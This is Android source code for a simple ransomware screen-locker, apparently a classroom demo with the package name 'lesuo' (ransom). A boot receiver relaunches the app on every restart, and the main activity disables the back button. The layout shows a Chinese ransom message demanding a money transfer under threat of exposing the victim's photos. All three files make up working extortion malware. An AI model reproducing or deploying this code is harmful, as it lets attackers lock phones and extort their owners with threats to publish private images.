MainActivity.java

package com.itheima.lesuo;import android.os.Bundle;import android.app.Activity;import android.view.Menu;public class MainActivity extends Activity {    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);    }    @Override    public void onBackPressed() {    // TODO Auto-generated method stub//    super.onBackPressed();    //这个方法是在返回键按下时，调用，其内部实际也是调用了finish()方法；    }    }

BootReceiver.java

package com.itheima.lesuo;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.sax.StartElementListener;import android.widget.Toast;public class BootReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {// 启动Activity，实现开机自动启动勒索软件Intent it = new Intent(context, MainActivity.class);//创建任务栈存放启动的Activity//在activity之外启动activity，需要设置任务栈；it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);context.startActivity(it);}}

activity_main.xml

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"    android:paddingBottom="@dimen/activity_vertical_margin"    android:paddingLeft="@dimen/activity_horizontal_margin"    android:paddingRight="@dimen/activity_horizontal_margin"    android:paddingTop="@dimen/activity_vertical_margin"    tools:context=".MainActivity"     android:orientation="vertical"    >    <TextView        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="你的手机已经被我劫持，速速把XXX元汇入XXXX账号，否则我就曝光你的照片" />    <Button         android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="转账"        /></LinearLayout>
